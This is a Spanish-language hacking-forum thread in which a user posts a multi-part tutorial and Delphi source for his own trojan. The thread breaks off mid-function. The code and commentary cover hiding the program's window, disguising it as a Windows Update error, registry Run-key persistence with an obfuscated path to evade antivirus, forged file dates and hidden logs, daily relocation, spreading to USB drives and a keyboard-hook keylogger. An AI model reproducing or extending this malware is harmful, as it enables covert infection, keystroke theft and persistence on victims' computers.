elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Ético (Moderador: toxeek)
| | |-+  Malware Troyano en Delphi
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 Ir Abajo Respuesta Imprimir
Autor Tema: Malware Troyano en Delphi  (Leído 6,681 veces)
ChA0sMaSt3r

Desconectado Desconectado

Mensajes: 10



Ver Perfil
Malware Troyano en Delphi
« en: 5 Enero 2014, 06:27 »

Mi troyano en Delphi 2010.
He estado programando un virus desde hace algunos años y ahora deseo compartirlo con todos los que estén interesados en este mundo del hacking.

Les comento que este virus es para quienes tengan un nivel intermedio-avanzado en Delphi, ya que usaremos tecnicas de cifrado de datos, protocolos de SSL para el envío de correos y descarga de ficheros, además un modulo para enganchar un Keylogger al sistema que hospede nuestro virus.


Espero poderles servir de ayuda, así como ustedes me han servido de ayuda en muchas ocasiones.  :)
« Última modificación: 9 Junio 2014, 06:26 por ChA0sMaSt3r » En línea

rdzlcs


Desconectado Desconectado

Mensajes: 781


El cerebro, la experiencia y una pizca de suerte.


Ver Perfil
Re: Malware Troyano en Delphi
« Respuesta #1 en: 5 Enero 2014, 09:47 »

Me pareció mas una presentación que un aporte:


http://foro.elhacker.net/foro_libre/presentate_aqui_si_eres_nuevo-t162515.0.html



SALudos!
En línea

Navegando en un mar de unos y ceros. Saltando de capa en capa por un modelo que lejos de ser seguro, nos da la libertad de Ser y No Ser.
Squirtle
Colaborador
***
Desconectado Desconectado

Mensajes: 207



Ver Perfil
Re: Malware Troyano en Delphi
« Respuesta #2 en: 5 Enero 2014, 20:32 »

Me parece genial que quieras ayudar a los demas con tus conocimientos y bueno que traigas informacion que dificilmente se consigue en la red.

Esperamos tus aportes. :)
En línea

"El celebro no es un vaso para llenar, sino una lampara para encender"
ChA0sMaSt3r

Desconectado Desconectado

Mensajes: 10



Ver Perfil
Re: Malware Troyano en Delphi
« Respuesta #3 en: 5 Enero 2014, 20:33 »

Antes de comenzar a pensar cuales funciones desempeñará un malware, primero debemos pensar en qué cosas debemos hacer para que este trabaje de forma eficiente... Y aquí es donde vengo con mi primer consejo  ;) ..

Les pondré un ejemplo: Supongamos que tenemos un virus que se está ejecutando en la pc de alguna de nuestras víctimas, y de repente nuestra victima intenta abrir alguna aplicacion que lo que hace mas bien es ejecutar nuevamente nuestro virus... Qué pasa entonces?, lo que ocurrirá es que tendremos a nuestro virus ejecutándose 2 veces en el mismo ordenador.. Muchas veces esto puede ser un inconveniente dependiendo de la función que nuestro virus realice.. es por ello que lo más recomendable es hacer que solo se corra una instancia de nuestro virus a la vez.

Existen muchas formas de lograr esto, la programación no es algo que se deba realizar al pie de la letra. Aquí lo más importante es nuestra imaginación y el saber hacer uso de las herramientas que la programación nos ofrece..

Esta técnica se conoce como Semáforo, la cual permite controlar los procesos en ejecución, significa que con esta herramienta ustedes podrán controlar las aplicaciones que se ejecuten en su computador por medio de parámetros definidos en la función CreateSemaphore. Si desean profundizar en este tema pueden visitar el siguiente link http://edn.embarcadero.com/article/29908 .

Ahora bien en Delphi usualmente esto se colocaría en la ventana principal de la aplicacion, esta ventana es la encargada de encapsular todo lo referente a nuestro proyecto. Si desean profundizar un poco más en esto, aquí les dejo un link explicando mejor la funcion de este archivo: http://delphiallimite.blogspot.nl/2008/03/el-objeto-application.html .

Bueno alejémonos de la teoría porque sé que a muchos de ustedes lo único que quieren es ver como se implementa esta función. Así que acá les dejo un ejemplo tomando como referencia el virus que yo hice:

Código
  1. program ProjectMain;
  2.  
  3. uses
  4.  Forms,
  5.  Windows, // Esto es importante para que la funcion CreateSemaphore trabaje
  6.  UnitMain in 'UnitMain.pas' {Form1};
  7.  
  8. {$R *.res}
  9.  
  10. Var
  11.  SemHandle : THandle;
  12.  semaforo:String;
  13. BEGIN
  14.  
  15. semaforo:= 'D3sTrUkt0r';  // Variable semaforo el cual nos ayudara a que solo se corra una instancia del virus
  16. SemHandle := CreateSemaphore(nil,0,1,PChar(semaforo)); //Creamos nuestro semaforo
  17. IF NOT ((SemHandle <> 0) and (GetLastError = ERROR_ALREADY_EXISTS))THEN //Si no hay otra instancia con el mismo nombre ejecutandose, procedemos...
  18. BEGIN
  19. Application.Initialize;   // Iniciamos el virus
  20. Application.Title := 'Windows Update Failure Error 0x008C';   //Esto sera en caso de que surga en la pantalla de la victima algún error, los haremos creer
  21.                                                                  //que el error proviene del sistema de Windows, para no levantar sospechas... ;)
  22.                Application.CreateForm(TForm1, Form1); // Creamos el "Formulario" principal de nuestro virus
  23.                Application.Run;    //Finalmente ejecutamos el virus para que haga su trabajo...
  24.  END;
  25. END.
  26.  

Es muy importante que para que la funcion CreateSemaphore funcione bien, agregar al Uses el Unit "Windows", el cual aloja esta función(Sólo para que lo tengan presente, esta funcion se encuentra alojada en el Kernel32 del sistema operativo).

Explicaré un poco el funcionamiento de estas líneas.

El primer paso consiste en crear 2 variables(semaforo y SemHandle); la primera será de tipo string, en la cual guardaremos el nombre de la ventana con la que vamos a identificar nuestro virus mientras se ejecuta.
La segunda variable de Tipo Handle, será el encargado de guardar el semaforo.

Ahora bien, la función CreateSemaphore se puede utilizar para diversos propósitos, pero basados en el ejemplo de arriba, lo que básicamente hace es tomar el valor almacenado en la variable Semaforo y buscar si existe alguna aplicacion ejecutándose con ese mismo nombre, finalmente devolverá un valor en el handle SemHandle.

Una vez obtenido ese valor, haremos una comparación, si el valor devuelto es diferente de 0 y si el resultado almacenado en la variable GetLastError es igual a Error_AlreadyExists, significa que ya nuestro virus está en ejecución y no podrá ejecutarse de nuevo, en caso contrario nuestro virus será ejecutado.


Por el momento espero que esta primera parte les pueda ser de gran utilidad, cual consulta no duden en preguntar....

Iré poco a poco con nuestro virus ya que es uno poco complejo y necesito tiempo para subirlo de tal forma que me puedan entender.... Muy pronto subiré más código.. Saludos :)
En línea

ChA0sMaSt3r

Desconectado Desconectado

Mensajes: 10



Ver Perfil
Re: Malware Troyano en Delphi
« Respuesta #4 en: 6 Enero 2014, 00:23 »

Siguiendo con nuestro virus.

El próximo punto importante para que nuestro virus se ejecute de una forma eficiente es lograr que nuestro virus corra en segundo plano.
Cómo lo hacemos?, sencillo solocaremos las siguientes líneas justo antes de la línea
Código
  1. Application.Run;
.

Veamos el ejemplo:
Código
  1. BEGIN
  2. Application.Initialize;   // Iniciamos el virus
  3. Application.Title := 'Windows Update Failure Error 0x008C';   //Esto sera en caso de que surga en la pantalla de la victima algun error, los haremos creer
  4.                                                                  //que el error proviene del sistema de Windows, para no levantar sospechas... ;)
  5. Application.CreateForm(TForm1, Form1); // Creamos el Formulario principal de nuestro virus, lo llamaremos Form1.
  6.  
  7. ///////////////////////////////////////////////*
  8. Form1.BorderStyle := bsNone;                      //
  9. Form1.Left := 0;                                  //
  10. Form1.Top := 0;                                   //  Nos aseguramos de que nuestro virus
  11. Form1.Width := 0;                                 //  no sea visible por el usuario cambiando algunas
  12. Form1.Height := 0;                                //  de sus propiedades.
  13. Form1.Visible := False;                           //
  14. Application.ShowMainForm := False;                //
  15. /////////////////////////////////////////////*
  16. Application.Run;    //Finalmente ejecutamos el virus para que haga su trabajo...
  17. END;
  18.  
De esa manera lograremos que el formulario principal sea completamente invisible. ;)


Ahora vamos entraremos a la parte divertida pero eso lo haremos más adelante, espero que esta segunda lección les sea de utilidad, Saludos.... !!! :)
En línea

DubBurns

Desconectado Desconectado

Mensajes: 1



Ver Perfil
Re: Malware Troyano en Delphi
« Respuesta #5 en: 13 Enero 2014, 18:38 »

WOW, Muy interesante, Esperemos mas información sobre el virus tuyo :-X
En línea

$_CiScO

Desconectado Desconectado

Mensajes: 5


Ver Perfil
Re: Malware Troyano en Delphi
« Respuesta #6 en: 13 Enero 2014, 23:36 »

Programador... Hacker....
En línea

ChA0sMaSt3r

Desconectado Desconectado

Mensajes: 10



Ver Perfil
Re: Malware Troyano en Delphi
« Respuesta #7 en: 16 Enero 2014, 04:20 »

Hola nuevamente y muchas gracias por sus mensajes de apoyo ya que esto lo hago por ustedes... :)

Bueno seguimos.
Lo que sigue acontinuación será un poco complicado así que espero que me puedan comprender  :-[ ..
La idea inicial al ejecutar un virus (como el que yo hice), es primero que nada hacer que se instale en la pc de la víctima, no sin antes haber comprobado que la maquina huésped no está infectada ya por nuestro virus.. (a mi parecer, no veo correcto que la máquina se tenga que llenar de copias de un mismo virus por todas partes).
Por lo tanto llevaré a cabo un proceso un poco complejo pero efectivo, el cual es guardar siempre la ubicación actual del virus en ejecución en algún lugar del Regedit.exe o sea el Registro de Windows... Les comento que yo este proceso lo realicé cifrando cada dato que almacene en el registro, pero como lo que quiero es que aprendan a hacer un virus y no se compliquen tanto(por que yo sé que muchos están apenas aprendiendo y no quiero que se desmotiven :) )... Les enseñaré cómo interactuar con el Registro de Windows, y utilizarlo para muchas cosas(No sólo hacer que desaparezca el Administrador de Tareas ;) )....

Bueno en mí caso, yo programé esto en Delphi 2010.. creo que en el 2007 también funciona sin problemas..
Entonces, agregaremos en el Form(el que aparece por defecto al crear un nuevo proyecto VLC), lo siguiente:

Código
  1.  
  2. UNIT UnitMain;
  3. INTERFACE
  4. USES
  5.   Windows, Messages, Dialogs, DateUtils, SysUtils, Classes, Graphics, Controls, Forms,   //UNITS
  6.   StdCtrls, ExtCtrls,Registry, TLHelp32, ShellApi,                                       //DEL SISTEMA
  7.  
  8.   UnitDescargarFicherosSSL,UnitFuncionesExtras,UnitEnviarRegistros,          //Units
  9.   UnitDescargarUsandoOpenSSL,UnitImplantarVirus, FucKReGisTrY, UnitCRC32,    //Mias
  10.  
  11.   IdBaseComponent, IdComponent, IdCustomTransparentProxy,//Estas son de Indy9
  12.   ZipForge;  //Esta última se obtiene descargando ZipForge
  13.  
  14. CONST
  15.      CM_MANDA_TECLA  = WM_USER + $1000;
  16. TYPE
  17.   THookTeclado=procedure; stdcall;
  18.  
  19. TYPE
  20.   TForm1 = class(TForm)
  21.  
  22.   PROCEDURE FormCreate(Sender: TObject);
  23.   PROCEDURE FormDestroy(Sender: TObject);
  24.   PUBLIC
  25.     HandleHookDLL,
  26.     OpenLibeay32DLL,
  27.     OpenSSLeay32DLL: THandle;
  28.     ThisMoment : TDateTime;
  29.     TempTime:TStringList;
  30.   PRIVATE
  31.     FicheroM       : THandle;
  32.     HookOn,
  33.     HookOff        : THookTeclado;
  34.     PReceptor      : ^Integer;
  35.     NombreDLL,
  36.     Libeay32DLL,
  37.     SSLeay32DLL,
  38.     FicheroLog,
  39.     EjecutableAnterior,
  40.     NuevaRuta: String;                                                           //Crearemos un procedimiento que capture los mensajes que el Hook del teclado
  41.   PROCEDURE Llegada_del_HOOK(var message: TMessage); message  CM_MANDA_TECLA;  //realice
  42.   END;
  43. VAR
  44.   Form1: TForm1;
  45.   newDateTime:TDateTime;
  46.   cWindow:String;
  47.   cTexto, Letra:String;
  48.   TeclaTilde, TeclaShift:String;
  49.   Comenzar:Integer;
  50.   Error      :  WORD;
  51.   TotalBytes :  TInteger8;
  52.   VerifyLine :  STRING;
  53.   Original, Comparado : STRING;
  54.   ContinueLoop:BOOL;
  55.   FSnapshotHandle:THandle;
  56.   FProcessEntry32:TProcessEntry32;
  57.  
  58. IMPLEMENTATION
  59. {$R *.DFM}
  60.  
  61. PROCEDURE TForm1.FormCreate(Sender: TObject);
  62. VAR Reg:TRegistry;
  63. CONST WIN1 = 're\Microsoft\Window';  // Desarmamos la ruta RUN en el Regedit para despistar a los antivirus
  64. CONST WIN2 = 'ntVersion\R';
  65. BEGIN     //Iniciamos el virus
  66.  
  67.  ///////////////////////////////////////////////*
  68.    BorderStyle := bsNone;                      //
  69.    Left := 0;                                  //
  70.    Top := 0;                                   //  Primero que todo, nos aseguramos de que nuestro virus
  71.    Width := 0;                                 //  no sea visible por el usuario.
  72.    Height := 0;                                //
  73.    Visible := False;                           //
  74.    Application.ShowMainForm := False;          //
  75.  ///////////////////////////////////////////////*
  76.  
  77. newDateTime := StrToDateTime('21/12/2012'); //Esta sentencia sera usada para modificar la fecha de los archivos  ;)
  78. TempTime:=TStringList.Create; //Variable que guardara la fecha que haya en el archivo Log.txt
  79. ThisMoment := Now;  // Creamos una variable para la fecha que ira; guardada en el Log.txt
  80.  
  81. ////////////////////////////////////*
  82. NombreDLL  := 'E56aW.dll';         //
  83. Libeay32DLL:= 'Bin\libeay32.dll';  //  Estos son los ficheros con los que trabajaremos todo el tiempo
  84. SSLeay32DLL:= 'Bin\ssleay32.dll';  //  Hook del teclado, Dlls de seguridad SSL, y nuestro fichero Log, el cual guadara; lo que el "usuario" escriba.
  85. FicheroLog := 'Log.txt' ;          //
  86. ////////////////////////////////////*
  87.  
  88. //NOTA:
  89. //      Importante notar que este virus fue disennado para no pasar mas de un diaa en la misma ubicacion del disco duro.
  90. //      Esto es para efectos de impedir que los antivirus realicen un analisis de seguimiento de patrones
  91.  
  92.                                                                                          // Para trabajar de forma mas limpia y ordenada en el sisema de nuestras victimas; Primero:
  93.                                                                                          // Por medio de la funcion ObtenerDest_Virus, comprobaremos si nuestro virus ya se encuentra alojado en el sistema actual
  94. IF FileExists(ObtenerDest_Virus + '.exe') or FileExists(ObtenerDest_Virus + '.exee') THEN  // O si es primera vez que se creo, o si ya existia pero sufrio algun error( Si fue eliminado o si algun
  95.                                                                                          // Fichero requerido desaparecio.
  96. BEGIN  //Si nuestro virus ya existe en  la pc huesped. Haremos lo siguiente:
  97.  
  98.                                                                                   // Si la ruta del virus, que se encuentra almacenada en el REGEDIT,
  99. IF ExtractFilePath(ObtenerDest_Virus) <> ExtractFilePath(paramStr(0)) then     // es distinta al del virus que se est&#38;#225; ejecutando actualmente entonces
  100. BEGIN                                                                      // Realizaremos el proceso de verificar si nuestro virus ya se ha copiado
  101.                                                                                   // en otro sector del disco duro y habra que mover los ficheros que necesita
  102.                                                                                   // para trabajar correctamente.
  103. NombreDLL   := ExtractFilePath(ObtenerDest_Virus) + NombreDLL;  //
  104. Libeay32DLL := ExtractFilePath(ObtenerDest_Virus) + Libeay32DLL;// La siguiente tarea consiste en comprobar cual de estos ficheros existe en el disco duro
  105. SSleay32DLL := ExtractFilePath(ObtenerDest_Virus) + SSleay32DLL;// con el fin de moverlos con forme nuestro virus se vaya trasladando de directorio.
  106. FicheroLog  := ExtractFilePath(ObtenerDest_Virus) + FicheroLog; // Si alguno de estos ficheros no existe deberan ser descargados y creados nuevamente(Esto en el caso de Log.txt)
  107. EjecutableAnterior := ObtenerDest_Virus;
  108. IF FileExists(FicheroLog) THEN    //Lo primero que debemos buscar es nuestro Fichero Log.txt
  109. BEGIN                           //Esto lo hacemos ya que este posee informacion muy importante que nos facilitarael trabajo de propagar el virus.
  110. TempTime.LoadFromFile(FicheroLog); //Cargaremos en Log.txt para chequear la fecha y compararla con la fecha actual.
  111. IF DateToStr(ThisMoment) <> TempTime.Strings[0] THEN    // Nuestro virus no debe estar mas de un dia en el mismo sitio
  112. BEGIN                                               // Por lo que comprobaremos si la fecha de nuestro Fichero coincide con la fecha actual.
  113. // Si no coinciden haremos que nuestro virus se traslade de lugar
  114. // Esto lo lograremos con la Funcion Virus_Implantar.
  115. Virus_Implantar;  // Funcion  Virus_Implantar
  116. NuevaRuta:= ExtractFilePath(ObtenerDest_Virus);
  117. TransladarTodoOFFLINE(NombreDLL
  118.                                            ,SSleay32DLL                         //  Una vez implantado nuestro virus en otro lugar
  119.                                            ,Libeay32DLL                         //  Procederemos a moover nuestros ficheros junto con el
  120.                                            ,FicheroLog                          //  Unicamente que antes de descargarlos de internet, primero intentaremos
  121.                                            ,EjecutableAnterior
  122.                                            ,NuevaRuta);//  utilizar los ficheros que existen en nuestro disco local.
  123. NombreDLL   := NuevaRuta + ExtractFileName(NombreDLL);   //  El paso que se realiza a continuacion no se realiza linealmente con
  124. Libeay32DLL := NuevaRuta + 'Bin\' + ExtractFileName(Libeay32DLL); //  respecto a la funcion anterior, lo que ocurre con la Funcion Virus_Implantar
  125. SSleay32DLL := NuevaRuta + 'Bin\' + ExtractFileName(SSleay32DLL); //  es que al implantar el virus en otro lugar tambien actualiza los datos en el Registro.
  126. FicheroLog  := NuevaRuta + ExtractFileName(FicheroLog);  //  y al hacer eso tambien debemos actualizar las variables que tenemos en este modulo.
  127. FileSetDate(FicheroLog, DateTimeToFileDate(newDateTime));
  128. END;
  129. END
  130.           ELSE  // Lo anterior ocurre en el caso de que el Ficehero Log.txt exista. Sino
  131. BEGIN
  132. ///////////////////////////////////////*
  133. TempTime.Add(DateToStr(ThisMoment) + #13#10);  //Los caracteres al final de esta linea son para crear un salto al siguiente renglon.
  134. Temptime.SaveToFile(FicheroLog);         // En caso contrario deberemos cargar nuevamente la fecha en el fichero
  135. TempTime.Free ;                         // Esto con el fin de llevar un control del mismo en futuras comprobaciones del virus.
  136. FileSetAttr(FicheroLog, faHidden);             // Finalmente ocultaremos dicho fichero para realizar mas complicada la localizacion de nuestro virus.
  137. FileSetDate(FicheroLog, DateTimeToFileDate(newDateTime));
  138. ///////////////////////////////////////*
  139.  
  140. END;
  141. END
  142. ELSE
  143. BEGIN
  144. IF FileExists(FicheroLog) THEN //Comprobamos si nuestro Fichero Log.txt existe en el directorio actual de nuestro virus
  145. BEGIN
  146. TempTime.LoadFromFile(FicheroLog);  // Lo cargamos primeramente para comprobar las fechas..
  147. IF (DateToStr(ThisMoment) <> TempTime.Strings[0]) THEN // Si las fechas no coinciden quiere decir que debemos movernos a otra parte
  148. BEGIN
  149. Virus_Implantar; // Implantamos el virus en otro lado
  150. NuevaRuta:= ExtractFilePath(ObtenerDest_Virus);
  151. TransladarTodoOFFLINE(NombreDLL
  152. ,SSleay32DLL                         //  Una vez implantado nuestro virus en otro lugar
  153. ,Libeay32DLL                         //  Procederemos a moover nuestros ficheros junto con el
  154. ,FicheroLog                          //  unicamente que antes de descargarlos de internet, primero intentaremos
  155. ,EjecutableAnterior
  156. ,NuevaRuta);//  utilizar los ficheros que existen en nuestro disco local.
  157. NombreDLL   := ExtractFilePath(ObtenerDest_Virus) +  ExtractFileName(NombreDLL);    //
  158. Libeay32DLL := ExtractFilePath(ObtenerDest_Virus) + 'Bin\' + ExtractFileName(Libeay32DLL);   //  De igual forma deberemos actualizar nuestras variables
  159. SSleay32DLL := ExtractFilePath(ObtenerDest_Virus) + 'Bin\' + ExtractFileName(SSleay32DLL);   //  con la informacion de la nueva ubicacion de nuestros ficheros
  160. FicheroLog  := ExtractFilePath(ObtenerDest_Virus) + ExtractFileName(FicheroLog);    //
  161. FileSetDate(FicheroLog, DateTimeToFileDate(newDateTime));
  162. END;
  163. END
  164. ELSE  //En caso de que el Fichero Log.txt no existiera
  165. BEGIN
  166. ///////////////////////////////////////*
  167. TempTime.Add(DateToStr(ThisMoment) + #13#10);  //
  168. Temptime.SaveToFile(FicheroLog);      // Deberemos cargar nuevamente la fecha en el fichero
  169. TempTime.Free ;                       // Esto con el fin de llevar un control del mismo en futuras comprobaciones del virus.
  170. FileSetAttr(FicheroLog, faHidden);    // Finalmente ocultaremos dicho fichero para realizar mas complicada la localizacion de nuestro virus.
  171. ///////////////////////////////////////*
  172. Virus_Implantar; //Implantamos nuestro virus en otro lugar
  173. NuevaRuta:= ExtractFilePath(ObtenerDest_Virus);
  174. TransladarTodoOFFLINE(NombreDLL
  175.                                       ,SSleay32DLL                         //  Una vez implantado nuestro virus en otro lugar
  176.                                       ,Libeay32DLL                         //  Procederemos a moover nuestros ficheros junto con ell
  177.                                       ,FicheroLog                          //  inicamente que antes de descargarlos de internet, primero intentaremos
  178.                                       ,EjecutableAnterior
  179.                                       ,NuevaRuta);//  utilizar los ficheros que existen en nuestro disco local.
  180. NombreDLL   := ExtractFilePath(ObtenerDest_Virus) +  ExtractFileName(NombreDLL);    //
  181. Libeay32DLL := ExtractFilePath(ObtenerDest_Virus) + 'Bin\' + ExtractFileName(Libeay32DLL);   //  De igual forma deberemos actualizar nuestras variables
  182. SSleay32DLL := ExtractFilePath(ObtenerDest_Virus) + 'Bin\' + ExtractFileName(SSleay32DLL);   //  con la informacion de la nueva ubicacion de nuestros ficheros
  183. FicheroLog  := ExtractFilePath(ObtenerDest_Virus) + ExtractFileName(FicheroLog);    //
  184. END;
  185. END;
  186.  
  187. END
  188. ELSE  //Si del todo NO se logra determinar que nuestro virus existe en el disco duro entonces procedemos a implantarlo por "primera vez"
  189. BEGIN
  190. Virus_Implantar;  // Funcion  Virus_Implantar
  191. NombreDLL   := ExtractFilePath(ObtenerDest_Virus) + NombreDLL;   //  El paso que se realiza a continuacion no se realiza linealmente con
  192. Libeay32DLL := ExtractFilePath(ObtenerDest_Virus) + Libeay32DLL; //  respecto a la funcion anterior, lo que ocurre con la Funcion Virus_Implantar
  193. SSleay32DLL := ExtractFilePath(ObtenerDest_Virus) + SSleay32DLL; //  es que al implantar el virus en otro lugar tambien actualiza los datos en el Registro.
  194. FicheroLog:= ExtractFilePath(ObtenerDest_Virus) + FicheroLog;
  195. ///////////////////////////////////////*
  196. IF FileExists(FicheroLog) THEN DeleteFile(FicheroLog);
  197. TempTime.Add(DateToStr(ThisMoment) + #13#10);  //
  198. Temptime.SaveToFile(FicheroLog);      // En caso contrario deberemos cargar nuevamente la fecha en el fichero
  199. TempTime.Free ;                       // Esto con el fin de llevar un control del mismo en futuras comprobaciones del virus.
  200. FileSetAttr(FicheroLog, faHidden);    // Finalmente ocultaremos dicho fichero para realizar mas complicada la localizacion de nuestro virus.
  201. ///////////////////////////////////////*
  202.  
  203. END;
  204.                                                  // La funcion ObtenerDest_Virus se vale del Registro de Windows para verificar si nuestro virus existe
  205.   SetTimer(0, 0, 2000, @ProtectCurrentRegistry);// Por lo que si nuestro virus existe, quiere decir que deberemos proteger dichos datos en el Registro en todo
  206.                                                 // momento para trabajar correctamente, por lo que este trabajo sera; la labor de la funcion ProtectCurrentRegistry.
  207.                                                 // Dicha funcion sera; controlada por un Timer el cual realizara; una inspeccion en el Registro cada 2000ms.
  208. //
  209. //
  210. //                                                      FIN DE LA PRIMERA PARTE DEL VIRUS!!!
  211. //
  212. //
  213.  
  214.  



jejeje Bueno decidí pegar un poco más de lo que tenía pensado, del primer módulo del virus para que nos vayamos entendiendo ;) ... No se asunten por el código tan amplio que lo iré explicando parte por parte :D....

Primero que nada no intenten compilarlo todavía que les dará error por todas partes, debido a que hay varias Units que necesitan agregar al proyecto, las units estás agregadas en el USES como pueden observar algunas son echas por mí, otras son de Delphi, una (ZipForge) es para comprimir y descomprir ficheros .zip, lo pueden buscar y descargarlo para que lo puedan usar. Y por último las Units del proyecto Indy... El cual deben descargarlo e instalarlo para que puedan usar funciones como, conexiones Https, ftps, etc.....

Por el momento los dejaré con este código...  Y les prometo que cuando tenga más tiempo, se los explicaré detalladamente
En línea

engel lex
CoAdmin
***
Desconectado Desconectado

Mensajes: 15.347



Ver Perfil
Re: Malware Troyano en Delphi
« Respuesta #8 en: 16 Enero 2014, 04:27 »

Programador... Hacker....

XD creo que pensamos lo mismo al leerlo XD
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
ChA0sMaSt3r

Desconectado Desconectado

Mensajes: 10



Ver Perfil
Re: Malware Troyano en Delphi
« Respuesta #9 en: 18 Enero 2014, 01:56 »

Buenas gente acá estoy nuevamente :)... Bueno siguiendo con el código que subí la última vez. Iré explicando línea por línea para que vayamos entendiendo nuestro código ;)

1: La línea #2. Indica el nombre de la Unit principal de nuestro virus(La unit por defecto que contiene el Form).
2: De la línea #4 a la #12 son todas las Units que necesitará nuestro virus para poder trabajar de forma correcta.(Recuerden que algunos módulos pertenecen a Indy9 y ZipForce, por lo que deberán instalarlos en su máquina para poder usarlos).
3: La línea #15(Investiguen sobre WM_USER) , servirá para hacer la captura de los mensajes que el hook ennvíe(Más adelante lo veremos a fondo).
4:La línea #17 será el encargado de hacer que exista un procedimiento de llamada externa que le indique al hook que se enganche con el teclado.
5:Las líneas #22 y #23 son eventos del Form.
6:Ahora bien ahora haré una pausa ya que de la línea #24 a la #42 hay un poco de desorden en la sintaxis del código y algunas líneas de sobra, así que por cuestiones de estética, este debería quedar de esta forma:

Código
  1.   PRIVATE
  2.     FicheroM       : THandle;
  3.     HookOn         : THookTeclado;
  4.     PReceptor      : ^Integer;
  5.  
  6.     NombreDLL,
  7.     Libeay32DLL,
  8.     SSLeay32DLL,
  9.     FicheroLog,
  10.     EjecutableAnterior,
  11.     NuevaRuta: String;
  12.  
  13.     HandleHookDLL,
  14.     OpenLibeay32DLL,
  15.     OpenSSLeay32DLL: THandle;
  16.  
  17.     ThisMoment : TDateTime;
  18.     TempTime:TStringList;
  19.     newDateTime:TDateTime;
  20.  
  21.     cWindow:String;
  22.     cTexto, Letra:String;
  23.     TeclaTilde, TeclaShift:String;
  24.  
  25.     Comenzar:Integer;
  26. //     Error      :  WORD;
  27. //     TotalBytes :  TInteger8;
  28. //     VerifyLine :  STRING;
  29. //     Original, Comparado : STRING;
  30. //     ContinueLoop:BOOL;
  31.     FSnapshotHandle:THandle;
  32.     FProcessEntry32:TProcessEntry32;
  33.                                                                                //Crearemos un procedimiento que capture los
  34.    PROCEDURE Llegada_del_HOOK(var message: TMessage); message  CM_MANDA_TECLA; //mensajes que el Hook del teclado realice
  35. END;
  36.  

Les pido disculpas, pero cómo este código lo subi en horas de la noche, estaba muy cansado y no me tomé la molestia de revisar... :P
Bueno ahora sí, espero que los comentarios que puse en cada línea sean suficientes para hacerme entender un poco.


Ahora de aquí nos saltaremos a lo más importante, la Línea #94!!!!:

Esta bifurcación se encargará de verificar si nuestro virus existe o no en la pc actual.
La comprobación se realiza por medio de la función "ObtenerDest_Virus" ...

La  función primero buscará una clave especifica almacenada en el registro de windows. Así que explicaré esto con un poco de calma:

La Función "ObtenerDest_Virus" está alojada en la Unit "UnitFuncionesExtras", la misma se encargará de buscar la clave que grabamos en el Registro y ducha clave contendrá 3 cadenas(1: La ruta exacta del virus en ejecución(Incluyendo el nombre), 2:Un nombre aleatorio asignado para la copia del virus que será implantado en las unidades USB(Sólo el nombre, sin ruta) y 3: La ruta exacta de la nueva copia que el virus creará en la pc en caso de que no exista)

Bueno muchos se preguntarán, ¿Para qué todo esto?. Bueno resulta que nuestro virus intentará por todos los medios de manejar siempre una sola copia de él mismo dentro de la pc, y dentro de las unidades USB. A menos que la Clave que asignamos en el Registro de windows sufra algún daño... Por lo tanto la primer cadena en nuestra Clave, almacenará la ubicación exacta de nuestro virus en ejecución para posteriormente poderlo ubicar y eliminar desde la siguiente copia del virus que se ejecute en la maquina. La cadena 2 de igual forma, buscará si nuestro virus infectó o no las unidades USB(Solamente usb) y sino procederá a infectarlas, y la tercer cadena es para que una vez que nuestro virus se ejecutó en un reinicio de la pc, pueda existir una forma de determinar si nuestro virus se encuentra alojado en el sistema.

Pero antes de ver el código de esta funcion debemos saber cómo es que se almacenan estas Cadenas en el Registro, cómo obtengo la ruta exacta de mi virus en ejecución, cómo genero un nombre aleatorio para la copia del virus que irá en las unidades usb, etc.


Primero veremos cómo manipular el Registro de windows(Agregar un valor a la Subclave Run del Registro; Lo mismo aplica para la Clave que necesitaremos en donde se almacenarán todos los datos anteriormente explicados)

En delphi para lograr la manipulación del registro de windows deberemos usar una de sus clases, llamada TRegistry, este solo podrá usarse si agregamos en el Uses la unidad Registry.
Bueno para agregar una clave se haría lo siguiente:
Código
  1.  
  2. procedure AgregarApp_Registro;
  3. var Registro: TRegistry;
  4. begin
  5.  Registro := TRegistry.Create;
  6.  Registro.RootKey := HKEY_CURRENT_USER; //Tambien puede ser HKEY_LOCAL_MACHINE
  7.  
  8.  if Registro.OpenKey( 'Software\Microsoft\Windows\CurrentVersion\Run', FALSE ) Then //Ojo con el False
  9.  begin
  10.    Registro.WriteString("Nombre identificador", "C:\Miapp.exe");
  11.    Registro.CloseKey;
  12.  end;
  13.  
  14.  Registro.Free;
  15. end;
  16.  

De este ejemplo hay algo que les quiero comentar.... La línea #8 al final dice False, porqué?, porque si ustedes abren una clave con un parámetro True, este lo que hará será crear una subclave llamada Run dentro de la clave Run(Al final el código será inservible). En cambio si le ponemos False, la clave Run solamente se abrirá, y así   podremos manipular los datos dentro de ella.

Ahora bien la línea #10 creará una cadena tipo String: La primera parte será el nombre que le asignemos a la cadena para identificar el virus, y la segunda parte será la ruta completa donde se encuentra el virus...

Si lo que queremos es agregar nuestro virus en ejecucion al Run. se podría hacer de esta forma:


Código
  1. Registro.WriteString("Virus T", ParamStr(0)); // Asi mismo ;)
  2.  

Sigamos con el otro punto, Cómo hago yo para crear un nombre aleatorio?:


Bueno para eso hay muchas formas, y si buscan en internet encontrarán varias:
En mi caso no me quise quebrar la cabeza con esto ;) y tome un algoritmo de no me acuerdo donde, pero es así:

Código
  1. Function Virus_GenerarNombre: String;
  2.  var
  3.    Cadena, Nam31, naM32: string;
  4.    Ancho: Integer;
  5.    i:Integer;
  6.    Indice: Integer;
  7.  begin
  8.    Cadena := 'DdEeFfHhIiKkLlOoPpQqRrSsTtUuVvXxYyZz123456789';   //Alfanumerico
  9.    naM32 := 'xe' ;  //Parte de la extension .exe
  10.    Ancho := 8;  //Longitud del nombre de nuestro virus
  11.    Randomize;
  12.    Result := '';
  13.    Nam31:= '.e'; //Parte de la extension .exe
  14.    Begin
  15.      for i:= 1 to Ancho do  //Desde i = 1 hasta el ancho de nuestro nombre
  16.        begin
  17.          Indice := Random(Length(Cadena)); //Indice = Un numero aleatorio que corresponda a la longitud de la Cadena
